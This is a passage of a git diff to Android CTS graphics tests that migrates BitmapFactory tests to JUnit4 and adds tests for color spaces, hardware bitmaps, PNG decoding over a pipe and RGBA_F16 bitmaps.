+            assertNotEquals(opts.inPreferredColorSpace, opts.outColorSpace);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void inColorSpace565() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
+        opts.inPreferredConfig = Bitmap.Config.RGB_565;
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            Bitmap b = BitmapFactory.decodeStream(in, null, opts);
+            ColorSpace cs = b.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+            assertNotEquals(opts.inPreferredColorSpace, opts.outColorSpace);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void inColorSpaceNotRGB() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.CIE_LAB);
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            BitmapFactory.decodeStream(in, null, opts);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void inColorSpaceNoTransferParameters() {
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            BitmapFactory.decodeStream(in, null, opts);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @Test
+    public void copy() {
+        Bitmap b = BitmapFactory.decodeResource(mResources, R.drawable.robot);
+        Bitmap c = b.copy(Bitmap.Config.ARGB_8888, false);
+        ColorSpace cs = c.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+
+        c = b.copy(Bitmap.Config.ARGB_8888, true);
+        cs = c.getColorSpace();
+        assertNotNull(cs);
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), cs);
+
+        try (InputStream in = mResources.getAssets().open("green-p3.png")) {
+            b = BitmapFactory.decodeStream(in);
+            c = b.copy(Bitmap.Config.ARGB_8888, false);
+            cs = c.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+
+            c = b.copy(Bitmap.Config.ARGB_8888, true);
+            cs = c.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.DISPLAY_P3), cs);
+        } catch (IOException e) {
+            fail();
+        }
+
+        try (InputStream in = mResources.getAssets().open("prophoto-rgba16f.png")) {
+            b = BitmapFactory.decodeStream(in);
+            c = b.copy(Bitmap.Config.RGBA_F16, false);
+            cs = c.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+
+            c = b.copy(Bitmap.Config.RGBA_F16, true);
+            cs = c.getColorSpace();
+            assertNotNull(cs);
+            assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), cs);
+        } catch (IOException e) {
+            fail();
+        }
+    }
+
+    @SuppressWarnings("SameParameterValue")
+    private static void almostEqual(@ColorInt int expected,
+            @ColorInt int pixel, int threshold, int index) {
+        int diffA = Math.abs(expected >>> 24 - pixel >>> 24);
+        int diffR = Math.abs((expected >> 16) & 0xff - (pixel >> 16) & 0xff);
+        int diffG = Math.abs((expected >>  8) & 0xff - (pixel >>  8) & 0xff);
+        int diffB = Math.abs((expected      ) & 0xff - (pixel      ) & 0xff);
+
+        boolean pass = diffA + diffR + diffG + diffB < threshold;
+        if (!pass) {
+            Log.d(LOG_TAG, "Expected 0x" + Integer.toHexString(expected) +
+                    " but was 0x" + Integer.toHexString(pixel) + " with index " + index);
+        }
+
+        assertTrue(pass);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 6e0f277..9dafaca 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -16,23 +16,37 @@
 
 package android.graphics.cts;
 
-import android.graphics.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.res.Resources;
 import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.Rect;
 import android.graphics.Bitmap.CompressFormat;
 import android.graphics.Bitmap.Config;
+import android.graphics.BitmapFactory;
 import android.graphics.BitmapFactory.Options;
+import android.graphics.Color;
+import android.graphics.Rect;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -41,37 +55,33 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.RandomAccessFile;
+import java.util.concurrent.CountDownLatch;
 
-public class BitmapFactoryTest extends InstrumentationTestCase {
-    private Resources mRes;
-    // opt for non-null
-    private BitmapFactory.Options mOpt1;
-    // opt for null
-    private BitmapFactory.Options mOpt2;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryTest {
     // height and width of start.jpg
     private static final int START_HEIGHT = 31;
     private static final int START_WIDTH = 31;
-    private int mDefaultDensity;
-    private int mTargetDensity;
 
     // The test images, including baseline JPEG, a PNG, a GIF, a BMP AND a WEBP.
-    private static int[] RES_IDS = new int[] {
+    private static final int[] RES_IDS = new int[] {
             R.drawable.baseline_jpeg, R.drawable.png_test, R.drawable.gif_test,
             R.drawable.bmp_test, R.drawable.webp_test
     };
 
     // The width and height of the above image.
-    private static int WIDTHS[] = new int[] { 1280, 640, 320, 320, 640 };
-    private static int HEIGHTS[] = new int[] { 960, 480, 240, 240, 480 };
+    private static final int WIDTHS[] = new int[] { 1280, 640, 320, 320, 640 };
+    private static final int HEIGHTS[] = new int[] { 960, 480, 240, 240, 480 };
 
     // Configurations for BitmapFactory.Options
-    private static Config[] COLOR_CONFIGS = new Config[] {Config.ARGB_8888, Config.RGB_565};
-    private static int[] COLOR_TOLS = new int[] {16, 49, 576};
+    private static final Config[] COLOR_CONFIGS = new Config[] {Config.ARGB_8888, Config.RGB_565};
+    private static final int[] COLOR_TOLS = new int[] {16, 49, 576};
 
-    private static Config[] COLOR_CONFIGS_RGBA = new Config[] {Config.ARGB_8888};
-    private static int[] COLOR_TOLS_RGBA = new int[] {72, 124};
+    private static final Config[] COLOR_CONFIGS_RGBA = new Config[] {Config.ARGB_8888};
+    private static final int[] COLOR_TOLS_RGBA = new int[] {72, 124};
 
-    private static int[] RAW_COLORS = new int[] {
+    private static final int[] RAW_COLORS = new int[] {
         // raw data from R.drawable.premul_data
         Color.argb(255, 0, 0, 0),
         Color.argb(128, 255, 0, 0),
@@ -79,7 +89,7 @@
         Color.argb(2, 255, 254, 253),
     };
 
-    private static int[] DEPREMUL_COLORS = new int[] {
+    private static final int[] DEPREMUL_COLORS = new int[] {
         // data from R.drawable.premul_data, after premultiplied store + un-premultiplied load
         Color.argb(255, 0, 0, 0),
         Color.argb(128, 255, 0, 0),
@@ -87,10 +97,17 @@
         Color.argb(2, 255, 255, 255),
     };
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mRes = getInstrumentation().getTargetContext().getResources();
+    private Resources mRes;
+    // opt for non-null
+    private BitmapFactory.Options mOpt1;
+    // opt for null
+    private BitmapFactory.Options mOpt2;
+    private int mDefaultDensity;
+    private int mTargetDensity;
+
+    @Before
+    public void setup() {
+        mRes = InstrumentationRegistry.getTargetContext().getResources();
         mDefaultDensity = DisplayMetrics.DENSITY_DEFAULT;
         mTargetDensity = mRes.getDisplayMetrics().densityDpi;
 
@@ -101,11 +118,12 @@
         mOpt2.inJustDecodeBounds = true;
     }
 
+    @Test
     public void testConstructor() {
-        // new the BitmapFactory instance
         new BitmapFactory();
     }
 
+    @Test
     public void testDecodeResource1() {
         Bitmap b = BitmapFactory.decodeResource(mRes, R.drawable.start,
                 mOpt1);
@@ -117,6 +135,7 @@
         assertNull(BitmapFactory.decodeResource(mRes, R.drawable.start, mOpt2));
     }
 
+    @Test
     public void testDecodeResource2() {
         Bitmap b = BitmapFactory.decodeResource(mRes, R.drawable.start);
         assertNotNull(b);
@@ -125,6 +144,7 @@
         assertEquals(START_WIDTH * mTargetDensity / mDefaultDensity, b.getWidth(), 1.1);
     }
 
+    @Test
     public void testDecodeResourceStream() {
         InputStream is = obtainInputStream();
         Rect r = new Rect(1, 1, 1, 1);
@@ -136,6 +156,7 @@
         assertEquals(START_WIDTH, b.getWidth());
     }
 
+    @Test
     public void testDecodeByteArray1() {
         byte[] array = obtainArray();
         Bitmap b = BitmapFactory.decodeByteArray(array, 0, array.length, mOpt1);
@@ -147,6 +168,7 @@
         assertNull(BitmapFactory.decodeByteArray(array, 0, array.length, mOpt2));
     }
 
+    @Test
     public void testDecodeByteArray2() {
         byte[] array = obtainArray();
         Bitmap b = BitmapFactory.decodeByteArray(array, 0, array.length);
@@ -156,6 +178,7 @@
         assertEquals(START_WIDTH, b.getWidth());
     }
 
+    @Test
     public void testDecodeStream1() {
         InputStream is = obtainInputStream();
         Rect r = new Rect(1, 1, 1, 1);
@@ -168,6 +191,7 @@
         assertNull(BitmapFactory.decodeStream(is, r, mOpt2));
     }
 
+    @Test
     public void testDecodeStream2() {
         InputStream is = obtainInputStream();
         Bitmap b = BitmapFactory.decodeStream(is);
@@ -177,7 +201,8 @@
         assertEquals(START_WIDTH, b.getWidth());
     }
 
-    public void testDecodeStream3() throws IOException {
+    @Test
+    public void testDecodeStream3() {
         for (int i = 0; i < RES_IDS.length; ++i) {
             InputStream is = obtainInputStream(RES_IDS[i]);
             Bitmap b = BitmapFactory.decodeStream(is);
@@ -188,7 +213,8 @@
         }
     }
 
-    public void testDecodeStream4() throws IOException {
+    @Test
+    public void testDecodeStream4() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         for (int k = 0; k < COLOR_CONFIGS.length; ++k) {
             options.inPreferredConfig = COLOR_CONFIGS[k];
@@ -222,7 +248,8 @@
         }
     }
 
-    public void testDecodeStream5() throws IOException {
+    @Test
+    public void testDecodeStream5() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         for (int k = 0; k < COLOR_CONFIGS_RGBA.length; ++k) {
             options.inPreferredConfig = COLOR_CONFIGS_RGBA[k];
@@ -259,6 +286,7 @@
         }
     }
 
+    @Test
     public void testDecodeFileDescriptor1() throws IOException {
         ParcelFileDescriptor pfd = obtainParcelDescriptor(obtainPath());
         FileDescriptor input = pfd.getFileDescriptor();
@@ -272,6 +300,7 @@
         assertNull(BitmapFactory.decodeFileDescriptor(input, r, mOpt2));
     }
 
+    @Test
     public void testDecodeFileDescriptor2() throws IOException {
         ParcelFileDescriptor pfd = obtainParcelDescriptor(obtainPath());
         FileDescriptor input = pfd.getFileDescriptor();
@@ -282,6 +311,7 @@
         assertEquals(START_WIDTH, b.getWidth());
     }
 
+    @Test
     public void testDecodeFileDescriptor3() throws IOException {
         // Arbitrary offsets to use. If the offset of the FD matches the offset of the image,
         // decoding should succeed, but if they do not match, decoding should fail.
@@ -326,6 +356,7 @@
         }
     }
 
+    @Test
     public void testDecodeFile1() throws IOException {
         Bitmap b = BitmapFactory.decodeFile(obtainPath(), mOpt1);
         assertNotNull(b);
@@ -336,6 +367,7 @@
         assertNull(BitmapFactory.decodeFile(obtainPath(), mOpt2));
     }
 
+    @Test
     public void testDecodeFile2() throws IOException {
         Bitmap b = BitmapFactory.decodeFile(obtainPath());
         assertNotNull(b);
@@ -344,7 +376,8 @@
         assertEquals(START_WIDTH, b.getWidth());
     }
 
-    public void testDecodeReuseBasic() throws IOException {
+    @Test
+    public void testDecodeReuseBasic() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inMutable = true;
         options.inSampleSize = 0; // treated as 1
@@ -388,7 +421,8 @@
         assertEquals(output.hasAlpha(), hasAlpha);
     }
 
-    public void testDecodeReuseHasAlpha() throws IOException {
+    @Test
+    public void testDecodeReuseHasAlpha() {
         final int bitmapSize = 31; // size in pixels of start, pass, and alpha resources
         final int pixelCount = bitmapSize * bitmapSize;
 
@@ -408,7 +442,8 @@
         decodeResourceWithReuse(bitmap, R.drawable.alpha, true);
     }
 
-    public void testDecodeReuseFormats() throws IOException {
+    @Test
+    public void testDecodeReuseFormats() {
         // reuse should support all image formats
         for (int i = 0; i < RES_IDS.length; ++i) {
             Bitmap reuseBuffer = Bitmap.createBitmap(1000000, 1, Bitmap.Config.ALPHA_8);
@@ -422,7 +457,8 @@
         }
     }
 
-    public void testDecodeReuseFailure() throws IOException {
+    @Test
+    public void testDecodeReuseFailure() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inMutable = true;
         options.inScaled = false;
@@ -432,13 +468,14 @@
         options.inBitmap = reduced;
         options.inSampleSize = 1;
         try {
-            Bitmap original = BitmapFactory.decodeResource(mRes, R.drawable.robot, options);
+            BitmapFactory.decodeResource(mRes, R.drawable.robot, options);
             fail("should throw exception due to lack of space");
         } catch (IllegalArgumentException e) {
         }
     }
 
-    public void testDecodeReuseScaling() throws IOException {
+    @Test
+    public void testDecodeReuseScaling() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inMutable = true;
         options.inScaled = false;
@@ -455,7 +492,8 @@
         assertEquals(originalSize, reduced.getByteCount() * 16);
     }
 
-    public void testDecodeReuseDoubleScaling() throws IOException {
+    @Test
+    public void testDecodeReuseDoubleScaling() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inMutable = true;
         options.inScaled = false;
@@ -476,7 +514,8 @@
         assertEquals(originalSize, doubleScaled.getByteCount());
     }
 
-    public void testDecodeReuseEquivalentScaling() throws IOException {
+    @Test
+    public void testDecodeReuseEquivalentScaling() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inMutable = true;
         options.inScaled = true;
@@ -495,12 +534,14 @@
         assertSame(densityReduced, scaleReduced);
     }
 
-    public void testDecodePremultipliedDefault() throws IOException {
+    @Test
+    public void testDecodePremultipliedDefault() {
         Bitmap simplePremul = BitmapFactory.decodeResource(mRes, R.drawable.premul_data);
         assertTrue(simplePremul.isPremultiplied());
     }
 
-    public void testDecodePremultipliedData() throws IOException {
+    @Test
+    public void testDecodePremultipliedData() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inScaled = false;
         Bitmap premul = BitmapFactory.decodeResource(mRes, R.drawable.premul_data, options);
@@ -520,6 +561,7 @@
         }
     }
 
+    @Test
     public void testDecodeInPurgeableAllocationCount() {
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inSampleSize = 1;
@@ -542,6 +584,7 @@
         assertEquals(b.getDensity(), mDefaultCreationDensity);
     }
 
+    @Test
     public void testDecodeScaling() {
         BitmapFactory.Options defaultOpt = new BitmapFactory.Options();
 
@@ -573,6 +616,7 @@
     }
 
     // Test that writing an index8 bitmap to a Parcel succeeds.
+    @Test
     public void testParcel() {
         // Turn off scaling, which would convert to an 8888 bitmap, which does not expose
         // the bug.
@@ -598,6 +642,7 @@
         assertTrue(b2.compress(Bitmap.CompressFormat.JPEG, 50, baos));
     }
 
+    @Test
     public void testConfigs() {
         // The output Config of a BitmapFactory decode depends on the request from the
         // client and the properties of the image to be decoded.
@@ -633,6 +678,140 @@
         decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true, false);
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testMutableHardwareInDecodeResource() {
+        Options options = new Options();
+        options.inMutable = true;
+        options.inPreferredConfig = Config.HARDWARE;
+        BitmapFactory.decodeResource(mRes, R.drawable.alpha, options);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testMutableHardwareInDecodeByteArray() {
+        Options options = new Options();
+        options.inMutable = true;
+        options.inPreferredConfig = Config.HARDWARE;
+        BitmapFactory.decodeByteArray(new byte[100], 1, 20, options);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testMutableHardwareInDecodeFile() {
+        Options options = new Options();
+        options.inMutable = true;
+        options.inPreferredConfig = Config.HARDWARE;
+        BitmapFactory.decodeFile("barely/care.jpg", options);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testMutableHardwareInDecodeFileDescriptor() {
+        Options options = new Options();
+        options.inMutable = true;
+        options.inPreferredConfig = Config.HARDWARE;
+        BitmapFactory.decodeFileDescriptor(null, new Rect(), options);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testMutableHardwareInDecodeResourceStream() {
+        Options options = new Options();
+        options.inMutable = true;
+        options.inPreferredConfig = Config.HARDWARE;
+        TypedValue value = new TypedValue();
+        BitmapFactory.decodeResourceStream(mRes, value,
+                new ByteArrayInputStream(new byte[20]), new Rect(), options);
+    }
+
+    @Test
+    public void testDecodeHardwareBitmap() {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inPreferredConfig = Bitmap.Config.HARDWARE;
+        Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, options);
+        assertNotNull(hardwareBitmap);
+        // Test that checks that correct bitmap was obtained is in uirendering/HardwareBitmapTests
+        assertEquals(Config.HARDWARE, hardwareBitmap.getConfig());
+    }
+
+    @Test
+    public void testDecodePngFromPipe() {
+        // This test verifies that we can send a PNG over a pipe and
+        // successfully decode it. This behavior worked in N, so this
+        // verifies that do not break it for backwards compatibility.
+        // This was already not supported for the other Bitmap.CompressFormats
+        // (JPEG and WEBP), so we do not test those.
+        Bitmap source = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        source.eraseColor(Color.RED);
+        try {
+            Bitmap result = sendOverPipe(source, CompressFormat.PNG);
+            assertTrue(source.sameAs(result));
+        } catch (Exception e) {
+            fail(e.toString());
+        }
+    }
+
+    private Bitmap sendOverPipe(Bitmap source, CompressFormat format)
+            throws IOException, ErrnoException, InterruptedException {
+        FileDescriptor[] pipeFds = Os.pipe();
+        final FileDescriptor readFd = pipeFds[0];
+        final FileDescriptor writeFd = pipeFds[1];
+        final Throwable[] compressErrors = new Throwable[1];
+        final CountDownLatch writeFinished = new CountDownLatch(1);
+        final CountDownLatch readFinished = new CountDownLatch(1);
+        final Bitmap[] decodedResult = new Bitmap[1];
+        Thread writeThread = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    FileOutputStream output = new FileOutputStream(writeFd);
+                    source.compress(format, 100, output);
+                    output.close();
+                } catch (Throwable t) {
+                    compressErrors[0] = t;
+                    // Try closing the FD to unblock the test thread
+                    try {
+                        Os.close(writeFd);
+                    } catch (Throwable ignore) {}
+                } finally {
+                    writeFinished.countDown();
+                }
+            }
+        };
+        Thread readThread = new Thread() {
+            @Override
+            public void run() {
+                decodedResult[0] = BitmapFactory.decodeFileDescriptor(readFd);
+            }
+        };
+        writeThread.start();
+        readThread.start();
+        writeThread.join(1000);
+        readThread.join(1000);
+        assertFalse(writeThread.isAlive());
+        if (compressErrors[0] != null) {
+            fail(compressErrors[0].toString());
+        }
+        if (readThread.isAlive()) {
+            // Test failure, try to clean up
+            Os.close(writeFd);
+            readThread.join(500);
+            fail("Read timed out");
+        }
+        assertValidFd("readFd", readFd);
+        assertValidFd("writeFd", writeFd);
+        Os.close(readFd);
+        Os.close(writeFd);
+        return decodedResult[0];
+    }
+
+    private static void assertValidFd(String name, FileDescriptor fd) {
+        try {
+            assertTrue(fd.valid());
+            // Hacky check to test that the underlying FD is still valid without using
+            // the private fcntlVoid to do F_GETFD
+            Os.close(Os.dup(fd));
+        } catch (ErrnoException ex) {
+            fail(name + " is invalid: " + ex.getMessage());
+        }
+    }
+
     private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray,
             boolean hasColorTable) {
         Options opts = new BitmapFactory.Options();
@@ -697,7 +876,7 @@
         }
     }
 
-    private Bitmap grayToARGB(Bitmap gray) {
+    private static Bitmap grayToARGB(Bitmap gray) {
         Bitmap argb = Bitmap.createBitmap(gray.getWidth(), gray.getHeight(), Config.ARGB_8888);
         for (int y = 0; y < argb.getHeight(); y++) {
             for (int x = 0; x < argb.getWidth(); x++) {
@@ -725,11 +904,9 @@
         return mRes.openRawResource(resId);
     }
 
-    private ParcelFileDescriptor obtainParcelDescriptor(String path)
-            throws IOException {
+    private static ParcelFileDescriptor obtainParcelDescriptor(String path) throws IOException {
         File file = new File(path);
-        return(ParcelFileDescriptor.open(file,
-                ParcelFileDescriptor.MODE_READ_ONLY));
+        return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
     }
 
     private String obtainPath() throws IOException {
@@ -744,7 +921,7 @@
      *               with an offset. Must be less than or equal to 1024
      */
     private String obtainPath(int resId, long offset) throws IOException {
-        File dir = getInstrumentation().getTargetContext().getFilesDir();
+        File dir = InstrumentationRegistry.getTargetContext().getFilesDir();
         dir.mkdirs();
         // The suffix does not necessarily represent theactual file type.
         File file = new File(dir, "test.jpg");
@@ -771,7 +948,7 @@
     // Compare expected to actual to see if their diff is less then mseMargin.
     // lessThanMargin is to indicate whether we expect the mean square error
     // to be "less than" or "no less than".
-    private void compareBitmaps(Bitmap expected, Bitmap actual,
+    private static void compareBitmaps(Bitmap expected, Bitmap actual,
             int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
         final int width = expected.getWidth();
         final int height = expected.getHeight();
@@ -806,13 +983,13 @@
         }
     }
 
-    private int multiplyAlpha(int color, int alpha) {
+    private static int multiplyAlpha(int color, int alpha) {
         return (color * alpha + 127) / 255;
     }
 
     // For the Bitmap with Alpha, multiply the Alpha values to get the effective
     // RGB colors and then compute the color-distance.
-    private double distance(int expect, int actual, boolean isPremultiplied) {
+    private static double distance(int expect, int actual, boolean isPremultiplied) {
         if (isPremultiplied) {
             final int a1 = Color.alpha(actual);
             final int a2 = Color.alpha(expect);
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
index 426e1b2..42b493d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
@@ -15,19 +15,93 @@
  */
 package android.graphics.cts;
 
+import android.app.Instrumentation;
+import android.content.res.AssetManager;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class BitmapFactory_OptionsTest extends AndroidTestCase{
-    public void testOptions(){
+import java.io.IOException;
+import java.io.InputStream;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactory_OptionsTest {
+    @Test
+    public void testOptions() {
         new BitmapFactory.Options();
     }
 
-    public void testRequestCancelDecode(){
+    @Test
+    public void testRequestCancelDecode() {
         BitmapFactory.Options option = new BitmapFactory.Options();
 
         assertFalse(option.mCancel);
         option.requestCancelDecode();
         assertTrue(option.mCancel);
     }
+
+    @Test
+    public void testExtractMetaData() {
+        Bitmap b;
+
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inJustDecodeBounds = true;
+
+        Instrumentation instrumentation = getInstrumentation();
+        Resources resources = instrumentation.getTargetContext().getResources();
+
+        // Config from source file, RGBA_F16
+        AssetManager assets = resources.getAssets();
+        try (InputStream in = assets.open("prophoto-rgba16f.png")) {
+            b = BitmapFactory.decodeStream(in, null, options);
+        } catch (IOException e) {
+            throw new RuntimeException("Test failed: ", e);
+        }
+        assertNull(b);
+        assertEquals(64, options.outWidth);
+        assertEquals(64, options.outHeight);
+        assertEquals("image/png", options.outMimeType);
+        assertEquals(Bitmap.Config.RGBA_F16, options.outConfig);
+
+        // Config from source file, ARGB_8888
+        b = BitmapFactory.decodeResource(resources, R.drawable.alpha, options);
+        assertNull(b);
+        assertEquals(Bitmap.Config.ARGB_8888, options.outConfig);
+
+        // Force config to 565
+        options.inPreferredConfig = Bitmap.Config.RGB_565;
+        b = BitmapFactory.decodeResource(resources, R.drawable.icon_green, options);
+        assertNull(b);
+        assertEquals(Bitmap.Config.RGB_565, options.outConfig);
+
+        options = new BitmapFactory.Options();
+        options.inJustDecodeBounds = true;
+
+        // Unscaled, indexed bitmap
+        b = BitmapFactory.decodeResource(resources, R.drawable.bitmap_indexed, options);
+        assertNull(b);
+        assertEquals("image/gif", options.outMimeType);
+        assertEquals(null, options.outConfig);
+
+        // Scaled, indexed bitmap
+        options.inScaled = true;
+        options.inDensity = 160;
+        options.inScreenDensity = 480;
+        options.inTargetDensity = 320;
+
+        b = BitmapFactory.decodeResource(resources, R.drawable.bitmap_indexed, options);
+        assertNull(b);
+        assertEquals(Bitmap.Config.ARGB_8888, options.outConfig);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
new file mode 100644
index 0000000..02c9425
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapRGBAF16Test {
+    private Bitmap mOpaqueBitmap;
+    private Bitmap mTransparentBitmap;
+    private Resources mResources;
+
+    @Before
+    public void setup() {
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
+
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inMutable = true;
+
+        // The bitmaps are in raw-nodpi/ to guarantee aapt and framework leave them untouched
+        mOpaqueBitmap = BitmapFactory.decodeResource(mResources, R.raw.p3_opaque, options);
+        mTransparentBitmap = BitmapFactory.decodeResource(mResources, R.raw.p3_transparent, options);
+    }
+
+    @Test
+    public void testDecode() {
+        assertNotNull(mOpaqueBitmap);
+        assertEquals(Config.RGBA_F16, mOpaqueBitmap.getConfig());
+        assertFalse(mOpaqueBitmap.hasAlpha());
+
+        assertNotNull(mTransparentBitmap);
+        assertEquals(Config.RGBA_F16, mTransparentBitmap.getConfig());
+        assertTrue(mTransparentBitmap.hasAlpha());
+    }
+
+    @Test
+    public void testScaling() {
+        Bitmap scaled = Bitmap.createScaledBitmap(mOpaqueBitmap,
+                mOpaqueBitmap.getWidth() / 2, mOpaqueBitmap.getHeight() / 2, true);
+        assertNotNull(scaled);
+        assertEquals(Config.RGBA_F16, scaled.getConfig());
+        assertFalse(scaled.hasAlpha());
+
+        scaled = Bitmap.createScaledBitmap(mTransparentBitmap,
+                mTransparentBitmap.getWidth() / 2, mTransparentBitmap.getHeight() / 2, true);
+        assertNotNull(scaled);
+        assertEquals(Config.RGBA_F16, scaled.getConfig());
+        assertTrue(scaled.hasAlpha());
+    }
+
+    @Test
+    public void testCopy() {
+        Bitmap copy = Bitmap.createBitmap(mOpaqueBitmap);
+        assertNotNull(copy);
+        assertEquals(Config.RGBA_F16, copy.getConfig());
+        assertFalse(copy.hasAlpha());
+
+        copy = Bitmap.createBitmap(mTransparentBitmap);
+        assertNotNull(copy);
+        assertEquals(Config.RGBA_F16, copy.getConfig());
+        assertTrue(copy.hasAlpha());
+    }
+
+    @Test
+    public void testCreate() {
+        Bitmap b = Bitmap.createBitmap(64, 64, Config.RGBA_F16, false);
+        assertNotNull(b);
+        assertEquals(Config.RGBA_F16, b.getConfig());
+        assertFalse(b.hasAlpha());
+
+        b = Bitmap.createBitmap(64, 64, Config.RGBA_F16);
+        assertNotNull(b);
+        assertEquals(Config.RGBA_F16, b.getConfig());
+        assertTrue(b.hasAlpha());
+    }
+
+    @Test
+    public void testGetPixel() {
+        // Opaque pixels from opaque bitmap
+        assertEquals(0xff0f131f, mOpaqueBitmap.getPixel(0, 0));
